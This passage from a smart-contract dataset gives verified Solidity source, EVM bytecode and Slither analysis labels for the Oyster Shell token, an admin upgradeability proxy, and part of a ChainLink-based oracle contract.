address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0x8542325b72c6d9fc0ad2ca965a78435413a915a0
pragma solidity ^0.4.18; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract OysterShell { // Public variables of SHL string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; uint256 public lockedSupply; address public director; bool public directorLock; uint256 public feeAmount; uint256 public retentionMin; uint256 public retentionMax; uint256 public lockMin; uint256 public lockMax; // Array definitions mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowance; mapping (address => uint256) public locked; // ERC20 event event Transfer(address indexed _from, address indexed _to, uint256 _value); // ERC20 event event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed _from, uint256 _value); // This notifies clients about an address getting locked event Lock(address indexed _target, uint256 _value, uint256 _release); // This notifies clients about a claim being made on a locked address event Claim(address indexed _target, address indexed _payout, address indexed _fee); /** * Constructor function * * Initializes contract */ function OysterShell() public { director = msg.sender; name = "Oyster Shell"; symbol = "SHL"; decimals = 18; directorLock = false; totalSupply = 98592692 * 10 ** uint256(decimals); lockedSupply = 0; // Assign total SHL supply to the director balances[director] = totalSupply; // SHL fee paid to brokers feeAmount = 1 * 10 ** uint256(decimals); // Minimum SHL that can get locked retentionMin = 20 * 10 ** uint256(decimals); // Maximum SHL that can get locked retentionMax = 200 * 10 ** uint256(decimals); // Minimum lock duration lockMin = 10; // Maximum lock duration lockMax = 360; } /** * ERC20 balance function */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } /** * SHL lock time retrieval function */ function lockTime(address _owner) public constant returns (uint256 lockedValue) { return locked[_owner]; } modifier onlyDirector { // Director can lock themselves out to complete decentralization of Oyster network // An alternative is that another smart contract could become the decentralized director require(!directorLock); // Only the director is permitted require(msg.sender == director); _; } modifier onlyDirectorForce { // Only the director is permitted require(msg.sender == director); _; } /** * Transfers the director to a new address */ function transferDirector(address newDirector) public onlyDirectorForce { director = newDirector; } /** * Withdraw funds from the contract */ function withdrawFunds() public onlyDirectorForce { director.transfer(this.balance); } /** * Permanently lock out the director to decentralize Oyster * Invocation is discretionary because Oyster might be better suited to * transition to an artificially intelligent smart contract director */ function selfLock() public payable onlyDirector { // Prevents accidental lockout require(msg.value == 10 ether); // Permanently lock out the director directorLock = true; } /** * Director can alter the broker fee rate */ function amendFee(uint256 feeAmountSet) public onlyDirector returns (bool success) { feeAmount = feeAmountSet; return true; } /** * Director can alter the upper and lower bounds of SHL locking capacity */ function amendRetention(uint256 retentionMinSet, uint256 retentionMaxSet) public onlyDirector returns (bool success) { // Set retentionMin retentionMin = retentionMinSet; // Set retentionMax retentionMax = retentionMaxSet; return true; } /** * Director can alter the upper and lower bounds of SHL locking duration */ function amendLock(uint256 lockMinSet, uint256 lockMaxSet) public onlyDirector returns (bool success) { // Set lockMin lockMin = lockMinSet; // Set lockMax lockMax = lockMaxSet; return true; } /** * Oyster Protocol Function * More information at https://oyster.ws/ShellWhitepaper.pdf * * Lock an address * * @param _duration the time duration that the SHL should remain locked */ function lock(uint256 _duration) public returns (bool success) { // The address must be previously unlocked require(locked[msg.sender] == 0); // An address must have at least retentionMin to be locked require(balances[msg.sender] >= retentionMin); // Prevent addresses with large balances from getting locked require(balances[msg.sender] <= retentionMax); // Enforce minimum lock duration require(_duration >= lockMin); // Enforce maximum lock duration require(_duration <= lockMax); // Set locked state to true locked[msg.sender] = block.timestamp + _duration; // Add to lockedSupply lockedSupply += balances[msg.sender]; // Execute an event reflecting the change Lock(msg.sender, balances[msg.sender], locked[msg.sender]); return true; } /** * Oyster Protocol Function * More information at https://oyster.ws/ShellWhitepaper.pdf * * Claim all SHL from a locked address * * @param _payout the address of the website owner * @param _fee the address of the broker node */ function claim(address _payout, address _fee) public returns (bool success) { // The claimed address must have already been locked require(locked[msg.sender] <= block.timestamp && locked[msg.sender] != 0); // The payout and fee addresses must be different require(_payout != _fee); // The claimed address cannot pay itself require(msg.sender != _payout); // The claimed address cannot pay itself require(msg.sender != _fee); // Check if the locked address has enough require(balances[msg.sender] >= retentionMin); // Save this for an assertion in the future uint256 previousBalances = balances[msg.sender] + balances[_payout] + balances[_fee]; // Calculate amount to be paid to _payout uint256 payAmount = balances[msg.sender] - feeAmount; // Take from lockedSupply lockedSupply -= balances[msg.sender]; // Reset locked address balance to zero balances[msg.sender] = 0; // Pay the website owner that invoked the web node that found the SHL seed key balances[_payout] += payAmount; // Pay the broker node that unlocked the SHL balances[_fee] += feeAmount; // Execute events to reflect the changes Claim(msg.sender, _payout, _fee); Transfer(msg.sender, _payout, payAmount); Transfer(msg.sender, _fee, feeAmount); // Failsafe logic that should never be false assert(balances[msg.sender] + balances[_payout] + balances[_fee] == previousBalances); return true; } /** * Crowdsale function */ function () public payable { // Prevent ETH from getting sent to contract require(false); } /** * Internal transfer, can be called by this contract only */ function _transfer(address _from, address _to, uint _value) internal { // Sending addresses cannot be locked require(locked[_from] == 0); // If the receiving address is locked, it cannot exceed retentionMax if (locked[_to] > 0) { require(balances[_to] + _value <= retentionMax); } // Prevent transfer to 0x0 address, use burn() instead require(_to != 0x0); // Check if the sender has enough require(balances[_from] >= _value); // Check for overflows require(balances[_to] + _value > balances[_to]); // Save this for an assertion in the future uint256 previousBalances = balances[_from] + balances[_to]; // Subtract from the sender balances[_from] -= _value; // Add the same to the recipient balances[_to] += _value; Transfer(_from, _to, _value); // Failsafe logic that should never be false assert(balances[_from] + balances[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to the address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from the address of the sender * @param _to the address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { // Check allowance require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender the address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { // Locked addresses cannot be approved require(locked[msg.sender] == 0); allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender the address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { // Locked addresses cannot be burnt require(locked[msg.sender] == 0); // Check if the sender has enough require(balances[msg.sender] >= _value); // Subtract from the sender balances[msg.sender] -= _value; // Updates totalSupply totalSupply -= _value; Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { // Locked addresses cannot be burnt require(locked[_from] == 0); // Check if the targeted balance is enough require(balances[_from] >= _value); // Check allowance require(_value <= allowance[_from][msg.sender]); // Subtract from the targeted balance balances[_from] -= _value; // Subtract from the sender's allowance allowance[_from][msg.sender] -= _value; // Update totalSupply totalSupply -= _value; Burn(_from, _value); return true; } }
0x60606040526004361061018a5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166303bc6d0d811461019157806306fdde03146101bb578063095ea7b3146102455780630ac153ac1461026757806318160ddd1461028c57806321c0b3421461029f57806322bb4f53146102c457806323b872dd146102d757806324600fc3146102ff57806327e235e314610312578063313ce5671461033157806342966c681461035a5780635af82abf1461037057806369e154041461039f57806370a08231146103b257806379cc6790146103d157806395d89b41146103f3578063a4beda6314610406578063a9059cbb14610425578063ba3d0cb514610447578063ca5c7b911461045a578063cae9ca511461046d578063cbe56377146104d2578063cbf9fe5f146104eb578063d1e7e81f1461050a578063d274fa9114610512578063dd4670641461052b578063dd62ed3e14610541578063ddd41ef614610566578063f1c9cc1114610585578063ffe2d77e14610598575b600080fd5b005b341561019c57600080fd5b6101a76004356105ab565b604051901515815260200160405180910390f35b34156101c657600080fd5b6101ce6105e9565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561020a5780820151838201526020016101f2565b50505050905090810190601f1680156102375780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561025057600080fd5b6101a7600160a060020a0360043516602435610687565b341561027257600080fd5b61027a610713565b60405190815260200160405180910390f35b341561029757600080fd5b61027a610719565b34156102aa57600080fd5b6101a7600160a060020a036004358116906024351661071f565b34156102cf57600080fd5b61027a610957565b34156102e257600080fd5b6101a7600160a060020a036004358116906024351660443561095d565b341561030a57600080fd5b61018f6109d4565b341561031d57600080fd5b61027a600160a060020a0360043516610a2a565b341561033c57600080fd5b610344610a3c565b60405160ff909116815260200160405180910390f35b341561036557600080fd5b6101a7600435610a45565b341561037b57600080fd5b610383610af3565b604051600160a060020a03909116815260200160405180910390f35b34156103aa57600080fd5b61027a610b02565b34156103bd57600080fd5b61027a600160a060020a0360043516610b08565b34156103dc57600080fd5b6101a7600160a060020a0360043516602435610b23565b34156103fe57600080fd5b6101ce610c22565b341561041157600080fd5b61027a600160a060020a0360043516610c8d565b341561043057600080fd5b61018f600160a060020a0360043516602435610ca8565b341561045257600080fd5b61027a610cb7565b341561046557600080fd5b61027a610cbd565b341561047857600080fd5b6101a760048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610cc395505050505050565b34156104dd57600080fd5b6101a7600435602435610df5565b34156104f657600080fd5b61027a600160a060020a0360043516610e39565b61018f610e4b565b341561051d57600080fd5b6101a7600435602435610eb7565b341561053657600080fd5b6101a7600435610efb565b341561054c57600080fd5b61027a600160a060020a0360043581169060243516611003565b341561057157600080fd5b61018f600160a060020a0360043516611020565b341561059057600080fd5b61027a61106a565b34156105a357600080fd5b6101a7611070565b60055460009060a060020a900460ff16156105c557600080fd5b60055433600160a060020a039081169116146105e057600080fd5b50600655600190565b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561067f5780601f106106545761010080835404028352916020019161067f565b820191906000526020600020905b81548152906001019060200180831161066257829003601f168201915b505050505081565b600160a060020a0333166000908152600d6020526040812054156106aa57600080fd5b600160a060020a033381166000818152600c6020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b600a5481565b60035481565b600160a060020a0333166000908152600d6020526040812054819081904290118015906107635750600160a060020a0333166000908152600d602052604090205415155b151561076e57600080fd5b600160a060020a03858116908516141561078757600080fd5b84600160a060020a031633600160a060020a0316141515156107a857600080fd5b83600160a060020a031633600160a060020a0316141515156107c957600080fd5b600754600160a060020a0333166000908152600b602052604090205410156107f057600080fd5b5050600160a060020a038083166000818152600b60205260408082208054888616808552838520805433909816808752858720805460068054600480548490039055928a9055845492820392830190945592549789905285549097019094559096010194929392917fcac3ed26c9dd72a2c44999857298af9c72ba2d1ca9784f5dad48c933e2224c11905160405180910390a484600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a383600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60065460405190815260200160405180910390a3600160a060020a038085166000908152600b60205260408082205488841683528183205433909416835291205490910101821461094c57fe5b506001949350505050565b60085481565b600160a060020a038084166000908152600c602090815260408083203390941683529290529081205482111561099257600080fd5b600160a060020a038085166000908152600c6020908152604080832033909416835292905220805483900390556109ca848484611080565b5060019392505050565b60055433600160a060020a039081169116146109ef57600080fd5b600554600160a060020a039081169030163180156108fc0290604051600060405180830381858888f193505050501515610a2857600080fd5b565b600b6020526000908152604090205481565b60025460ff1681565b600160a060020a0333166000908152600d602052604081205415610a6857600080fd5b600160a060020a0333166000908152600b602052604090205482901015610a8e57600080fd5b600160a060020a0333166000818152600b602052604090819020805485900390556003805485900390557fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a2506001919050565b600554600160a060020a031681565b60065481565b600160a060020a03166000908152600b602052604090205490565b600160a060020a0382166000908152600d602052604081205415610b4657600080fd5b600160a060020a0383166000908152600b602052604090205482901015610b6c57600080fd5b600160a060020a038084166000908152600c602090815260408083203390941683529290522054821115610b9f57600080fd5b600160a060020a038084166000818152600b6020908152604080832080548890039055600c825280832033909516835293905282902080548590039055600380548590039055907fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a250600192915050565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561067f5780601f106106545761010080835404028352916020019161067f565b600160a060020a03166000908152600d602052604090205490565b610cb3338383611080565b5050565b60075481565b60045481565b600083610cd08185610687565b15610ded5780600160a060020a0316638f4ffcb1338630876040518563ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610d86578082015183820152602001610d6e565b50505050905090810190601f168015610db35780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610dd457600080fd5b6102c65a03f11515610de557600080fd5b505050600191505b509392505050565b60055460009060a060020a900460ff1615610e0f57600080fd5b60055433600160a060020a03908116911614610e2a57600080fd5b50600991909155600a55600190565b600d6020526000908152604090205481565b60055460a060020a900460ff1615610e6257600080fd5b60055433600160a060020a03908116911614610e7d57600080fd5b678ac7230489e800003414610e9157600080fd5b6005805474ff0000000000000000000000000000000000000000191660a060020a179055565b60055460009060a060020a900460ff1615610ed157600080fd5b60055433600160a060020a03908116911614610eec57600080fd5b50600791909155600855600190565b600160a060020a0333166000908152600d602052604081205415610f1e57600080fd5b600754600160a060020a0333166000908152600b60205260409020541015610f4557600080fd5b600854600160a060020a0333166000908152600b60205260409020541115610f6c57600080fd5b600954821015610f7b57600080fd5b600a54821115610f8a57600080fd5b600160a060020a0333166000818152600d602081815260408084204288018155600b8352938190208054600480549091019055549290915291547f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b925191825260208201526040908101905180910390a2506001919050565b600c60209081526000928352604080842090915290825290205481565b60055433600160a060020a0390811691161461103b57600080fd5b6005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60095481565b60055460a060020a900460ff1681565b600160a060020a0383166000908152600d6020526040812054156110a357600080fd5b600160a060020a0383166000908152600d602052604081205411156110eb57600854600160a060020a0384166000908152600b6020526040902054830111156110eb57600080fd5b600160a060020a038316151561110057600080fd5b600160a060020a0384166000908152600b60205260409020548290101561112657600080fd5b600160a060020a0383166000908152600b60205260409020548281011161114c57600080fd5b50600160a060020a038083166000818152600b602052604080822080549488168084528284208054888103909155938590528154870190915591909301927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a3600160a060020a038084166000908152600b60205260408082205492871682529020540181146111e957fe5b505050505600a165627a7a723058206ceaf8fb97a5f757106fb664694328d0fd7741778c3338572ea96d55f4709f880029
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
7,600
0xb9a6ff1072110cdee95d9368e9e71fcb128bdd53
/** *Submitted for verification at Etherscan.io on 2021-04-10 */ /** *Submitted for verification at BscScan.com on 2021-03-08 */ /** *Submitted for verification at Etherscan.io on 2020-10-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a26469706673582212206661f190da7bb2cb2dc6c1b9d8f8a69b6023dfda77cfcd761e2512ce3e91d5d264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,601
0xc9EE4C2e16E9BaA0A10031E082EB3D7aFd94E75e
// SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.4; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } interface ITrollbox { function withdrawWinnings(uint voterId) external; function updateAccount(uint voterId, uint tournamentId, uint roundId) external; function isSynced(uint voterId, uint tournamentId, uint roundId) external view returns (bool); function roundAlreadyResolved(uint tournamentId, uint roundId) external view returns (bool); function resolveRound(uint tournamentId, uint roundId, uint winningOption) external; function getCurrentRoundId(uint tournamentId) external returns (uint); } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract ChainLinkOracle { struct Proposal { uint id; uint time; bool confirmed; uint roundId; uint winnerIndex; uint challengeWinnerIndex; address challenger; } mapping (bytes32 => address) public feedMap; // ticker symbol => price aggregator address mapping (bytes32 => int) public prices; // symbol => price mapping (uint => Proposal) public proposals; address public management; ITrollbox public trollbox; IERC20 public token; int constant public PRECISION = 1000000; uint public numProposals = 0; uint public challengeDeposit = 0; uint public challengePeriodSeconds = 60 * 60 * 24; uint public tournamentId = 1; bytes32[] public tickerSymbols; // mgmt events event FeedUpdated(bytes32 indexed key, address indexed feedAddr); event ManagementUpdated(address oldManagement, address newManagement); event DepositUpdated(uint oldDeposit, uint newDeposit); event ChallengePeriodUpdated(uint oldPeriod, uint newPeriod); event TickerSymbolsUpdated(bytes32[] oldKeys, bytes32[] newKeys); // winner events event WinnerProposed(uint indexed roundId, uint indexed proposalId, uint winnerIndex); event WinnerConfirmed(uint indexed roundId, uint indexed proposalId, int[] prices); // challenger events event ChallengeMade(uint indexed proposalId, address indexed challenger, uint indexed claimedWinner); event ChallengerSlashed(uint indexed proposalId, address indexed challenger, uint indexed slashAmount); event ChallengerVindicated(uint indexed proposalId, address indexed challenger); modifier managementOnly() { require (msg.sender == management, 'Only management may call this'); _; } modifier 